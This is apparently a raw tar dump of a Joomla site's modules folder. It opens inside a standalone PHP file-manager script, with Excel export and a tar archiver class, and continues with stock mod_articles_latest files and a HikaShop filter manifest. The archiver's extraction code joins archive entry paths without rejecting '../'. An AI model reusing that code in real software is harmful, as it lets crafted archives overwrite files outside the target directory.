</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>mod_articles_latest/mod_articles_latest.php000064400000001170150746134710015326 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_latest
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the latest functions only once
JLoader::register('ModArticlesLatestHelper', __DIR__ . '/helper.php');

$list            = ModArticlesLatestHelper::getList($params);
$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx', ''), ENT_COMPAT, 'UTF-8');

require JModuleHelper::getLayoutPath('mod_articles_latest', $params->get('layout', 'default'));
mod_articles_latest/mod_articles_latest.xml000064400000007773150746134710015356 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.1" client="site" method="upgrade">
	<name>mod_articles_latest</name>
	<author>Joomla! Project</author>
	<creationDate>July 2004</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_LATEST_NEWS_XML_DESCRIPTION</description>
	<files>
		<filename module="mod_articles_latest">mod_articles_latest.php</filename>
		<folder>tmpl</folder>
		<filename>helper.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.mod_articles_latest.ini</language>
		<language tag="en-GB">en-GB.mod_articles_latest.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_LATEST_NEWS" />
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="catid"
					type="category"
					label="JCATEGORY"
					description="MOD_LATEST_NEWS_FIELD_CATEGORY_DESC"
					extension="com_content"
					multiple="true"
					filter="int_array"
				/>

				<field
					name="count"
					type="number"
					label="MOD_LATEST_NEWS_FIELD_COUNT_LABEL"
					description="MOD_LATEST_NEWS_FIELD_COUNT_DESC"
					default="5"
					filter="integer"
				/>

				<field
					name="show_featured"
					type="list"
					label="MOD_LATEST_NEWS_FIELD_FEATURED_LABEL"
					description="MOD_LATEST_NEWS_FIELD_FEATURED_DESC"
					default=""
					filter="integer"
					>
					<option value="">JSHOW</option>
					<option value="0">JHIDE</option>
					<option value="1">MOD_LATEST_NEWS_VALUE_ONLY_SHOW_FEATURED</option>
				</field>

				<field
					name="ordering"
					type="list"
					label="MOD_LATEST_NEWS_FIELD_ORDERING_LABEL"
					description="MOD_LATEST_NEWS_FIELD_ORDERING_DESC"
					default="p_dsc"
					>
					<option value="c_dsc">MOD_LATEST_NEWS_VALUE_RECENT_ADDED</option>
					<option value="m_dsc">MOD_LATEST_NEWS_VALUE_RECENT_MODIFIED</option>
					<option value="p_dsc">MOD_LATEST_NEWS_VALUE_RECENT_PUBLISHED</option>
					<option value="mc_dsc">MOD_LATEST_NEWS_VALUE_RECENT_TOUCHED</option>
					<option	value="random">MOD_LATEST_NEWS_VALUE_RECENT_RAND</option>
				</field>

				<field
					name="user_id"
					type="list"
					label="MOD_LATEST_NEWS_FIELD_USER_LABEL"
					description="MOD_LATEST_NEWS_FIELD_USER_DESC"
					default="0"
					>
					<option value="0">MOD_LATEST_NEWS_VALUE_ANYONE</option>
					<option value="by_me">MOD_LATEST_NEWS_VALUE_ADDED_BY_ME</option>
					<option value="not_me">MOD_LATEST_NEWS_VALUE_NOTADDED_BY_ME</option>
					<option value="created_by">MOD_LATEST_NEWS_VALUE_CREATED_BY</option>
				</field>

				<field
					name="author"
					type="author"
					label="MOD_LATEST_NEWS_FIELD_AUTHOR_LABEL"
					description="MOD_LATEST_NEWS_FIELD_AUTHOR_DESC"
					multiple="true"
					showon="user_id:created_by"
				/>
			</fieldset>

			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="JFIELD_ALT_MODULE_LAYOUT_DESC"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
					rows="3"
				/>

				<field
					name="cache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					description="COM_MODULES_FIELD_CACHING_DESC"
					default="1"
					filter="integer"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					description="COM_MODULES_FIELD_CACHE_TIME_DESC"
					default="900"
					filter="integer"
				/>

				<field
					name="cachemode"
					type="hidden"
					default="static"
					>
					<option value="static"></option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
mod_articles_latest/src/Helper/ArticlesLatestHelper.php000060400000007176150746134710017406 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_latest
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\ArticlesLatest\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Access\Access;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Router\Route;
use Joomla\Component\Content\Site\Helper\RouteHelper;
use Joomla\Component\Content\Site\Model\ArticlesModel;
use Joomla\Registry\Registry;
use Joomla\Utilities\ArrayHelper;

/**
 * Helper for mod_articles_latest
 *
 * @since  1.6
 */
abstract class ArticlesLatestHelper
{
	/**
	 * Retrieve a list of article
	 *
	 * @param   Registry       $params  The module parameters.
	 * @param   ArticlesModel  $model   The model.
	 *
	 * @return  mixed
	 *
	 * @since   1.6
	 */
	public static function getList(Registry $params, ArticlesModel $model)
	{
		// Get the Dbo and User object
		$db   = Factory::getDbo();
		$user = Factory::getUser();

		// Set application parameters in model
		$app       = Factory::getApplication();
		$appParams = $app->getParams();
		$model->setState('params', $appParams);

		$model->setState('list.start', 0);
		$model->setState('filter.published', 1);

		// Set the filters based on the module params
		$model->setState('list.limit', (int) $params->get('count', 5));

		// This module does not use tags data
		$model->setState('load_tags', false);

		// Access filter
		$access     = !ComponentHelper::getParams('com_content')->get('show_noauth');
		$authorised = Access::getAuthorisedViewLevels($user->get('id'));
		$model->setState('filter.access', $access);

		// Category filter
		$model->setState('filter.category_id', $params->get('catid', array()));

		// State filter
		$model->setState('filter.condition', 1);

		// User filter
		$userId = $user->get('id');

		switch ($params->get('user_id'))
		{
			case 'by_me':
				$model->setState('filter.author_id', (int) $userId);
				break;
			case 'not_me':
				$model->setState('filter.author_id', $userId);
				$model->setState('filter.author_id.include', false);
				break;

			case 'created_by':
				$model->setState('filter.author_id', $params->get('author', array()));
				break;

			case '0':
				break;

			default:
				$model->setState('filter.author_id', (int) $params->get('user_id'));
				break;
		}

		// Filter by language
		$model->setState('filter.language', $app->getLanguageFilter());

		// Featured switch
		$featured = $params->get('show_featured', '');

		if ($featured === '')
		{
			$model->setState('filter.featured', 'show');
		}
		elseif ($featured)
		{
			$model->setState('filter.featured', 'only');
		}
		else
		{
			$model->setState('filter.featured', 'hide');
		}

		// Set ordering
		$order_map = array(
			'm_dsc'  => 'a.modified DESC, a.created',
			'mc_dsc' => 'a.modified',
			'c_dsc'  => 'a.created',
			'p_dsc'  => 'a.publish_up',
			'random' => $db->getQuery(true)->rand(),
		);

		$ordering = ArrayHelper::getValue($order_map, $params->get('ordering'), 'a.publish_up');
		$dir      = 'DESC';

		$model->setState('list.ordering', $ordering);
		$model->setState('list.direction', $dir);

		$items = $model->getItems();

		foreach ($items as &$item)
		{
			$item->slug    = $item->id . ':' . $item->alias;

			if ($access || \in_array($item->access, $authorised))
			{
				// We know that user has the privilege to view the article
				$item->link = Route::_(RouteHelper::getArticleRoute($item->slug, $item->catid, $item->language));
			}
			else
			{
				$item->link = Route::_('index.php?option=com_users&view=login');
			}
		}

		return $items;
	}
}
mod_articles_latest/tmpl/default.php000064400000001111150746134710013700 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_latest
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<ul class="latestnews<?php echo $moduleclass_sfx; ?> mod-list">
<?php foreach ($list as $item) : ?>
	<li itemscope itemtype="https://schema.org/Article">
		<a href="<?php echo $item->link; ?>" itemprop="url">
			<span itemprop="name">
				<?php echo $item->title; ?>
			</span>
		</a>
	</li>
<?php endforeach; ?>
</ul>
mod_hikashop_filter/mod_hikashop_filter.xml000064400000021127150746134710015325 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="2.5" method="upgrade">
	<name>Hikashop Filtering Module</name>
	<creationDate>29 avril 2022</creationDate>
	<version>4.5.1</version>
	<author>Hikari Software</author>
	<authorEmail>dev@hikashop.com</authorEmail>
	<authorUrl>http://www.hikashop.com</authorUrl>
	<copyright>(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
	<description>Content display for Hikashop</description>
	<files>
		<filename module="mod_hikashop_filter">mod_hikashop_filter.php</filename>
		<filename>index.html</filename>
		<folder>tmpl</folder>
	</files>
	<params addpath="/components/com_hikashop/params">
		<param name="moduleclass_sfx" type="text" default="" label="Module Class Suffix" description="PARAMMODULECLASSSUFFIX" />
		<param name="show_filter_button" type="radio" default="1" label="Show filter button" description="Show or not the filter button">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="display_fieldset" type="radio" default="0" label="Display in a fieldset" description="Display in a fieldset">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="filter_column_number" type="text" default="1" label="Number of columns" description="Number of columns" />
		<param name="filter_limit" type="text" default="" label="Maximum number of filters" description="Maximum number of filters displayed in the module" />
		<param name="filter_height" type="text" default="" label="Filters height" description="The height of each filter (in pixel)" />
		<param name="filter_button_position" type="radio" default="right" label="Filter button position" description="Filter button position">
			<option value="left">Left</option>
			<option value="right">Right</option>
			<option value="inside">Inside</option>
		</param>
		<param name="filters" type="filters" default="" label="Filters" description="Select the filters you want to be displayed in that module" />
		<param name="itemid" type="text" default="187" label="Menu" description="The id of the hikashop products listing menu where to redirect" />
		<param name="force_redirect" type="radio" default="1" label="Force redirect" description="Force the redirection to the menu specified above when the filters of the module are used">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="display_on_product_page" type="radio" default="1" label="Display on the product page" description="">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="display_on_product_listing_page" type="radio" default="1" label="Display on the product listing page" description="">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="display_on_product_compare_page" type="radio" default="1" label="Display on the product compare page" description="">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="display_on_category_listing_page" type="radio" default="1" label="Display on the category listing page" description="">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="display_on_checkout_page" type="radio" default="1" label="Display on the checkout page" description="">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="display_on_contact_page" type="radio" default="1" label="Display on the contact page" description="">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="display_on_waitlist_page" type="radio" default="1" label="Display on the waitlist page" description="">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="filter_collapsable" type="radio" default="1" label="Collapsable filters" description="">
			<option value="0">No</option>
			<option value="1">Mobile devices</option>
			<option value="always">Always</option>
		</param>
		<param name="scroll_to_top" type="radio" default="0" label="Scroll to top after filtering" description="">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_hikashop/fields">
			<fieldset name="basic">
				<field
					name="moduleclass_sfx"
					type="text"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC" />
				<field name="show_filter_button" type="radio" default="1" label="Show filter button" description="Show or not the filter button" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="display_fieldset" type="radio" default="0" label="Display in a fieldset" description="Display in a fieldset" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="filter_column_number" type="text" default="1" label="Number of columns" description="Number of columns" />
				<field name="filter_limit" type="text" default="" label="Maximum number of filters" description="Maximum number of filters displayed in the module" />
				<field name="filter_height" type="text" default="" label="Filters height" description="The height of each filter (in pixel)" />
				<field name="filter_button_position" type="radio" default="right" label="Filter button position" description="Filter button position">
					<option value="left">Left</option>
					<option value="right">Right</option>
					<option value="inside">Inside</option>
				</field>
				<field name="filters" type="filters" default="" label="Filters" description="Select the filters you want to be displayed in that module" />
				<field name="itemid" type="text" default="187" label="Menu" description="The id of the hikashop products listing menu where to redirect" />
				<field name="force_redirect" type="radio" default="1" label="Force redirect" description="Force the redirection to the menu specified above when the filters of the module are used" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="display_on_product_page" type="radio" default="1" label="Display on the product page" description="" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="display_on_product_listing_page" type="radio" default="1" label="Display on the product listing page" description="" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="display_on_product_compare_page" type="radio" default="1" label="Display on the product compare page" description="" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
